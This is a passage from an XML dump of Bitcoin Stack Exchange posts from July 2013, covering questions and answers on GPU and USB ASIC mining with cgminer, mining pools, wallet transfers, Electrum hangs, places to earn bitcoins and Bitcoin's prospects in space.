ENTER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ipconfig /all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will give you all your connection related data for a renewed adapter and cleared DNS cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the cache can get old and not have the correct routing information in it which can load to &quot;Destination is not reachable&quot; or similar messages, like the JSON errors in the minerd.exe and ultimately Bitcoin Qt wallet with integrated mining option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are quite a few things that can trip this up, perhaps this will solve it for you.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-21T06:13:44.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="2" ParentId="3165" CreationDate="2013-07-21T06:28:52.017" Score="2" Body="&lt;p&gt;The one thing I should probably answer on is about the difference between OpenGL / OpenGL-ES and OpenCL. Both OpenGL and OpenCl can be used for SHA256d hashing, but OpenCl is used much more frequently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where as GL means Graphics Language and CL stands for Compute Language. GL is for graphics and CL is for mathematical and scientific calculations. While your system may have OpenGL support of some sort, it's more than likely doesn't have OpenCL 1 &amp;amp; 2 support for the GP-GPU (VideoCore IV) which would allow you to get okay to medium hash rates. As I see to remember, the VideoCore IV in the Pi doesn't support it in hardware (OpenCL version 1 or 2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means you'd have to rely on those ASIC miners that are connected via the USB port hub or even a dedicated mining rig that is connected via the UTP network connector (RJ-45 jack / Ethernet). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, at least we're having a good amount of information / data coming out so the next people that read this will have a good idea on what to do with their RPIs if they want to do any mining.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="24614" LastEditDate="2015-03-06T21:37:16.190" LastActivityDate="2015-03-06T21:37:16.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="2" ParentId="8583" CreationDate="2013-07-21T06:35:40.167" Score="1" Body="&lt;p&gt;There are numerous sites that allow you to buy and trade Bitcoins, please be aware of the &quot;reserve&quot; they list too, sometimes they will not have enough in reserve which can stall your transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a newbie, by all means don't do a private transaction with anyone in chat nor in the forums, there are a lot of scammers that pray on newbies. Stick to the official exchanges. There are sites such as www.bitcoinstore.com for which I have used to buy equipment for myself and other people and they're fairly quick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's one of those types of things that you need to use your common sense, if it seems to good to be true, it probably is. Watch out for other so called newbies looking to do transactions with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent yourself from being a target by a scammer or other bad elements from here on out, don't call yourself a newbie, just ask the question. &lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-21T06:35:40.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="2" ParentId="5291" CreationDate="2013-07-21T06:47:09.973" Score="1" Body="&lt;p&gt;Do you have the exact same configuration on your other rig? If you do, copy the configuration exactly. Sometimes if you don't have long-polling turned on and using the correct port, in some rare cases you will keep going if you are using the wrong protocol for a said port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, if you are doing Bitcoin mining on a Phenom of your type, and you are doing SHA256D hashes, you should wait around 5 minutes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't immediately say long-polling activated, you've got a problem and need to configure your mining application to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the time you get the Long-Polling started message, anywhere from 30 seconds to 5 minutes is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my scan time set for 1 second, by default it's set for 5 seconds but depending on your hardware and the pool you're in they might tell you to set it for 10 to 30 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using Slush's Mining Proxy too? I know that can stall out if you're not using the correct configuration for that too.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-21T06:47:09.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12294" PostTypeId="1" AcceptedAnswerId="12296" CreationDate="2013-07-21T16:36:34.003" Score="5" ViewCount="1476" Body="&lt;p&gt;Most discussion about mining is from the perspective of serious Bitcoin users who are trying to profit from it. I’m curious to try mining, only to experiment and become more familiar with cryptocurrencies. I’m not interested in being profitable over the long term, but I am interested in verifying success, namely in seeing my wallet balance nudge a tiny bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I best use my regular computer (~18Mhash/s GPU, &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;via this&lt;/a&gt;) to mine Bitcoin or Litecoin? Specific questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If joining a pool, a centrally coordinated one or a P2P pool?&lt;/li&gt;&#xA;&lt;li&gt;What mining pool payment system(s) would make the most sense?&lt;/li&gt;&#xA;&lt;li&gt;I’ve got &lt;code&gt;cgminer&lt;/code&gt; operating. Any parameters / tweaks I should use?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From what I’ve read, with a slow hash rate, it’s easy to just waste all your compute time on dead pool shares and whatnot. How can I avoid that? Is there anything else I should watch out for?&lt;/p&gt;&#xA;" OwnerUserId="5951" LastEditorUserId="5406" LastEditDate="2016-03-31T17:03:12.780" LastActivityDate="2019-04-16T03:06:42.903" Title="Slow but effective mining as a learning tool" Tags="|mining-pools|litecoin|miner-configuration|learning|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12295" PostTypeId="2" ParentId="5629" CreationDate="2013-07-21T17:52:01.110" Score="1" Body="&lt;p&gt;The wiki article you describe has been updated since by a skilled developer who is part of the Bitcoin team and the key change now reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin does not currently implement block discouraging in any form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So this appears to be a concept that has not been implemented by any clients.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-07-21T17:52:01.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12296" PostTypeId="2" ParentId="12294" CreationDate="2013-07-21T19:31:39.780" Score="1" Body="&lt;p&gt;If it's for learning I recommend starting with the simplest options and then moving up to more elaborate settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a centralized pool with PPS payments. Then you can move on to any other hopping-proof method such as PPLNS or DGM. Then you can try p2pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a low hashrate should have no affect on the relative portion of stale shares.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-21T19:31:39.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12297" PostTypeId="2" ParentId="4445" CreationDate="2013-07-22T03:09:59.740" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;TestNet Bitcoin Block Explorer&lt;/a&gt; appears to be not working too well at the moment. However, &lt;a href=&quot;http://testnet.btclook.com/&quot; rel=&quot;nofollow&quot;&gt;BTCLook&lt;/a&gt; does appear to be supporting TestNet and looks like a good alternative.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-07-22T03:09:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12299" PostTypeId="1" CreationDate="2013-07-22T08:31:54.830" Score="4" ViewCount="522" Body="&lt;p&gt;I know that you can mine bitcoins and that you can buy them, but what about places where you can earn them by doing a bit of work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only heard of &lt;a href=&quot;http://bfg.swfchan.com/&quot; rel=&quot;nofollow&quot;&gt;http://bfg.swfchan.com/&lt;/a&gt; where you get BTC for linking to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other places where you can earn bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find a list of such places but I can't find one. Is there such a list?&lt;/p&gt;&#xA;" OwnerUserId="6046" LastEditorUserId="105" LastEditDate="2013-07-22T12:04:12.133" LastActivityDate="2014-04-11T11:20:58.970" Title="Where to earn bitcoins?" Tags="|buy-bitcoins|earnings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12300" PostTypeId="2" ParentId="3766" CreationDate="2013-07-22T09:14:05.150" Score="1" Body="&lt;p&gt;There was quite a hype in the US about how bad Bitcoin is, and how they were going to crack down on it. I suppose this report comes from those feelings. Liberty Reserve has actually been closed recently, by the police forces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their interest is chiefly identifying and, if possible, removing threats. The EU actually has a &lt;a href=&quot;http://www.ecb.int/pub/pdf/other/virtualcurrencyschemes201210en.pdf&quot; rel=&quot;nofollow&quot;&gt;similar (but better) report&lt;/a&gt;, to assert the status of digital alternative currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red thread to all of these documents is &quot;Bitcoin is independent of law. Bitcoin cannot be legally prosecuted, and if it could it would be difficult to do it. Anonymity makes it suitable for criminals but it isn't fully anonymous, so maybe we can do &lt;em&gt;something&lt;/em&gt; (because of the blockchain). Personally we think Bitcoin is pretty cool.&quot;. They also somewhere seem to understand there is a legitimate purpose to Bitcoin, but it's unclear whether that matters or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very hard to look into the mind of a millions of people wide security organization. If we don't know something it probably exist but it's still classified. This document had only public sources, so did not need classified status. They likely have build a much more detailed document now with knowledge from the NSA (about cryptography) and from Bitcoin companies in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NSA, meanwhile, has likely been tracking Bitcoin usage very closely. It likely has a pretty good way to de-anonymize Bitcoin traffic. All the aforementioned are, of course, as unprovable as PRISM was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most police forces in the world will have reports or accumulated knowledge about Bitcoin because it presents &quot;a novel challenge to law enforcement&quot;. These reports will contain &quot;nothing we didn't already know&quot; and reflect the legal perspective of the agency, but only the mood the report writer thought his boss wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck people. The police are our friends. Sometimes in the &quot;Do not run, we are your friends&quot; kind of way, sometimes as the &lt;a href=&quot;http://vimeo.com/21216091&quot; rel=&quot;nofollow&quot;&gt;robot friend&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-07-22T09:14:05.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostTypeId="1" CreationDate="2013-07-22T13:17:42.117" Score="3" ViewCount="1660" Body="&lt;p&gt;I am using Electrum and when sending bitcoins I got a small window with a &quot;Please Wait...&quot; message, the problem is that it has been more than 1 hour and nothing happened! The window is still there and I can tell from &lt;a href=&quot;http://www.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; that the bitcoins is not received at the destination.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it normal? &lt;/li&gt;&#xA;&lt;li&gt;what is the correct behavior expected? &lt;/li&gt;&#xA;&lt;li&gt;Should i close the &quot;Please wait...&quot; window and re-send the coins?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6035" LastEditorUserId="6035" LastEditDate="2013-07-22T14:42:17.967" LastActivityDate="2014-12-19T03:04:36.270" Title="Electrum hangs when sending bitcoins" Tags="|electrum|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="2" ParentId="12250" CreationDate="2013-07-22T17:39:03.023" Score="1" Body="&lt;p&gt;No, it cannot be reset. Yes, I believe it can only include letters and numbers.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-07-22T17:39:03.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12304" PostTypeId="2" ParentId="12014" CreationDate="2013-07-22T17:49:30.417" Score="3" Body="&lt;p&gt;The most apparent weakness is the following: If an attacker has enough hashpower to build an alternative branch starting with the current block, and to be ahead of the network once that block is pruned; he can rewrite the entire history completely, assigning bitcoins arbitrarily among the addresses he chooses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be alleviated with archive nodes which are consulted in times of emergency.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-07-22T18:36:18.403" LastActivityDate="2013-07-22T18:36:18.403" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostTypeId="2" ParentId="12299" CreationDate="2013-07-22T18:12:37.203" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Jobs&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Jobs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://workforbitcoin.com&quot; rel=&quot;nofollow&quot;&gt;http://workforbitcoin.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.btcworkers.com&quot; rel=&quot;nofollow&quot;&gt;http://www.btcworkers.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitgigs.com&quot; rel=&quot;nofollow&quot;&gt;http://bitgigs.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.rugatu.com&quot; rel=&quot;nofollow&quot;&gt;http://www.rugatu.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinerr.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinerr.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Jobs4bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Jobs4bitcoins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://coinworker.com&quot; rel=&quot;nofollow&quot;&gt;http://coinworker.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bittask.com&quot; rel=&quot;nofollow&quot;&gt;http://bittask.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All of these boards are ugly, though. Wait for StackExchange to start using Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5998" LastEditorDisplayName="user3930" LastEditDate="2013-07-22T21:03:47.030" LastActivityDate="2013-07-22T21:03:47.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12306" PostTypeId="1" CreationDate="2013-07-22T22:37:09.187" Score="3" ViewCount="1034" Body="&lt;p&gt;I noticed that Coinbase won't allow you to make transactions to &lt;a href=&quot;http://www.satoshidice.com/&quot; rel=&quot;nofollow&quot;&gt;SatoshiDice&lt;/a&gt;. Is this due to SatoshiDice being blocked in the US due to online gambling regulations, or are there additional reasons for this restriction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other transactions have Coinbase known to have blocked, if any?&lt;/p&gt;&#xA;" OwnerUserId="6057" LastEditorUserId="1409" LastEditDate="2013-07-23T01:26:51.340" LastActivityDate="2013-11-05T16:40:13.457" Title="Why does Coinbase block SatoshiDice transactions?" Tags="|transactions|coinbase.com|satoshidice|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12307" PostTypeId="1" AcceptedAnswerId="12313" CreationDate="2013-07-22T22:44:09.153" Score="5" ViewCount="420" Body="&lt;p&gt;I know you can make a transaction across the blockchain to move your Bitcoins from say &lt;a href=&quot;http://bitcoin.org/en/download&quot;&gt;Bitcoin-QT&lt;/a&gt; to &lt;a href=&quot;https://multibit.org/&quot;&gt;Multibit&lt;/a&gt;, but is it possible to import my wallet.dat file from Bitcoin-QT to another desktop wallet without preforming a transaction?&lt;/p&gt;&#xA;" OwnerUserId="6057" LastEditorUserId="3684" LastEditDate="2017-12-19T04:07:47.607" LastActivityDate="2017-12-19T04:07:47.607" Title="Are desktop wallets transferable?" Tags="|bitcoin-core|wallet|multibit|wallet.dat|wallet-import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12308" PostTypeId="1" CreationDate="2013-07-22T23:25:22.737" Score="1" ViewCount="2805" Body="&lt;p&gt;I'm running TomatoUSB (a Linux-based firmware) on a Broadcom-based home router. Connected to the router's USB port is a 7-port D-Link hub and a number of Asicminer USB Block Erupters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am finding some curious behaviors using &lt;a href=&quot;https://www.dropbox.com/s/op3k7zc8grh751h/cgminer-3.3.1-mipsel.tar.gz&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; cgminer 3.3.1 binary as so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer -o pool:port -u username.worker -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A single cgminer instantiation will crunch at the advertised 333 MH/s rate if one USB device is connected. But that number drops off precipitously when additional devices are added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, adding the &quot;--usb :1&quot; flag (which restricts the process to using one hotplug device) and then firing &lt;em&gt;n&lt;/em&gt; processes this way gives me 333*&lt;em&gt;n&lt;/em&gt; as hoped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I think) I need a worker for each process (not a huge issue I suppose). However on a headless system as this is, running these separately can get unwieldy very quickly. Currently I'm running one SSH client window for each process and firing each from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a convenient way to script a number of these to be fired at once, each using one hotplug device, and hopefully redirecting the numerous console outputs somewhere useful? Maybe somehow share a configuration file among many processes?&lt;/p&gt;&#xA;" OwnerUserId="6058" LastActivityDate="2013-12-12T20:21:30.380" Title="Scripting multiple cgminer processes / running on a router" Tags="|cgminer|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12309" PostTypeId="2" ParentId="12308" CreationDate="2013-07-23T00:07:26.477" Score="1" Body="&lt;p&gt;That's an interesting approach. It's probably cheaper than a Raspberry Pi.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your startup script in a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer -o pool:port -u username.worker -p password --usb :$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save to &lt;code&gt;start_single.sh&lt;/code&gt;, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ chmod u+x start_single.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the final script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NUM_MINERS = 7&#xA;cd &quot;$(dirname &quot;$0&quot;)&quot;&#xA;parallel -j $NUM_MINERS -- ./start_single.sh $(seq 1 $NUM_MINERS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save as &lt;code&gt;start_all.sh&lt;/code&gt;, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ chmod u+x start_all.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run &lt;code&gt;./start_all.sh&lt;/code&gt; to mine. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to start the script on startup, google 'TomatoUSB start program on startup'&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-07-23T00:07:26.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="2" ParentId="12307" CreationDate="2013-07-23T07:08:00.030" Score="1" Body="&lt;p&gt;I think it's possible but importing private keys would work better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to import an address to a new wallet is the private key. Get the private keys of your addresses from the QT client and import them into Multibit.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-23T07:08:00.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12314" PostTypeId="1" AcceptedAnswerId="12794" CreationDate="2013-07-23T07:08:53.383" Score="7" ViewCount="1170" Body="&lt;p&gt;What would the challenges of transacting in outerspace be for bitcoin? What improvements need to be implemented to address these challenges? I'm particularly curious about low-earth orbit.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditorDisplayName="user5954" LastEditDate="2020-06-06T15:38:47.683" LastActivityDate="2020-06-06T15:38:47.683" Title="What challenges will bitcoin face in space?" Tags="|development|academic-research|properties|interplanetary|" AnswerCount="5" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="2" ParentId="11990" CreationDate="2013-07-23T08:16:12.437" Score="1" Body="&lt;p&gt;There is no technical limitation, the developer just hasn't gotten around to it yet. This is part of a larger rework of the Armory block chain database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/issues/93&quot; rel=&quot;nofollow&quot;&gt;this GitHub issue&lt;/a&gt; for more.&lt;/p&gt;&#xA;" OwnerUserId="5546" LastActivityDate="2013-07-23T08:16:12.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostTypeId="2" ParentId="12302" CreationDate="2013-07-23T10:13:16.793" Score="2" Body="&lt;p&gt;Try resarting the client, switching servers and make sure that you are connected to a server (green ball in the bottom-right corner) before making a tx&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-07-23T10:13:16.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12317" PostTypeId="2" ParentId="11780" CreationDate="2013-07-23T17:24:15.960" Score="3" Body="&lt;p&gt;OpenCL is not supported on 3xxx series cards.  Although it's not completely impossible to mine on a card that old it will be very difficult.  Also, a card that old will produce less than 1 MH/s which will only be fractions of bitcoins.  I wouldn't waste my time fighting the Radeon 3600.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are serious about mining check out the 5xxx and 7xxx series cards.  Or better yet, look into ASICs.&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-07-23T17:24:15.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostTypeId="2" ParentId="12314" CreationDate="2013-07-23T17:33:54.423" Score="5" Body="&lt;p&gt;Bitcoin by nature would be a fantastic currency for interplanetary travel, if mankind every reaches that stage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Advantages&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No physical medium to be transported  &lt;/li&gt;&#xA;&lt;li&gt;Relatively low bandwidth to conduct a transaction  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Considerations to address&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin is highly reliant on having accurate system time&lt;br&gt;&#xA;A transaction would need to be based on Earth's UTC time. This opens up additional discussions in relativity that are far to complex for this forum. A mechanism would need to be implemented to compensate for differences in time at each local. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;limitations in 32 bit software&lt;br&gt;&#xA;Many computer systems may have issues in the year 2038 due to the fact that epic time will reset back to 0 on 32 bit systems. &lt;a href=&quot;http://en.wikipedia.org/wiki/Year_2038_problem&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Year_2038_problem&lt;/a&gt;&lt;br&gt;&#xA;This is not an issue for bitcoin until the year 2106 because bitcoin uses an unsigned int.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_timestamp&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale&lt;br&gt;&#xA;Bitcoin mining will stop when it reaches the maximum of 21 million coins A society where humans are physically exploring other planets will likely contain a population too large for bitcoin to satisfy. &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Controlled_supply&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5731" LastEditorUserId="5731" LastEditDate="2013-07-24T20:43:26.393" LastActivityDate="2013-07-24T20:43:26.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostTypeId="2" ParentId="11947" CreationDate="2013-07-23T19:52:14.133" Score="0" Body="&lt;p&gt;Looks like the functionality i am looking for is getting added to bitcoind.  Hopefully most of the devs responsible for their clones of bitcoin will update accordingly and eventually this functionality will be available for all cryptos.&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2121&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/2121&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Also see this pull: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2861&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/2861&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully it gets merged into master soon.&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="4829" LastEditDate="2013-07-29T09:35:22.033" LastActivityDate="2013-07-29T09:35:22.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12320" PostTypeId="2" ParentId="12294" CreationDate="2013-07-23T20:44:46.527" Score="0" Body="&lt;p&gt;I created my mining pool, BitMinter, to be very easy to use but without hiding the details of bitcoin mining. It's designed to be easy for beginners to get going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool has a miner that needs no installation beyond java from java.com. So you will be mining in no time. I see you have cgminer already set up - that works too. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PPLNS reward system we use exposes you to the nature of bitcoin mining. You will see blocks being found and coins paid out when that happens. This way you can see how mining really works, whereas a PPS reward system hides this from you.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-23T20:44:46.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12321" PostTypeId="2" ParentId="331" CreationDate="2013-07-23T22:18:10.057" Score="20" Body="&lt;p&gt;&lt;strong&gt;Primecoin&lt;/strong&gt; is the first:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A new type of proof-of-work based on searching for prime numbers is introduced &#xA;  in peer-to-peer cryptocurrency designs. Three types of prime chains known as &#xA;  Cunningham chain of first kind, Cunningham chain of second kind and bi-twin &#xA;  chain are qualified as proof-of-work. Prime chain is linked to block hash to &#xA;  preserve the security property of Nakamoto’s Bitcoin, while a continuous &#xA;  difficulty evaluation scheme is designed to allow prime chain to act as &#xA;  adjustable-difficulty proof-of-work in a Bitcoin like cryptocurrency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;http://ppcoin.org/primecoin&quot;&gt;http://ppcoin.org/primecoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can question the use of knowing Cunningham chains of primes but it's arguably more useful than finding hashes with sequences of zeroes. And often with math the practical use is only found later.&#xA;(There's even prize money involved: &quot;$250,000 to the first individual or group who discovers a prime number with at least 1,000,000,000 decimal digits&quot;, from the EFF, no less, &lt;a href=&quot;https://www.eff.org/awards/coop&quot;&gt;https://www.eff.org/awards/coop&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an in-depth article about this question: &lt;a href=&quot;http://arstechnica.com/science/2013/02/ask-ars-why-spend-time-and-money-finding-new-prime-numbers/&quot;&gt;Ask Ars: Why spend time and money finding new prime numbers?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of all, now that there's one mathematically useful coin more will probably follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://coinwiki.info/en/Curecoin&quot;&gt;Curecoin&lt;/a&gt;&lt;/strong&gt; is another very interesting approach, with merged mining. 45% of new coins for SHA miners, for blockchain security, 45% for protein folding GPU/CPU power. 10% goes to development. &lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorDisplayName="user5672" LastEditDate="2013-12-18T19:24:41.610" LastActivityDate="2013-12-18T19:24:41.610" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
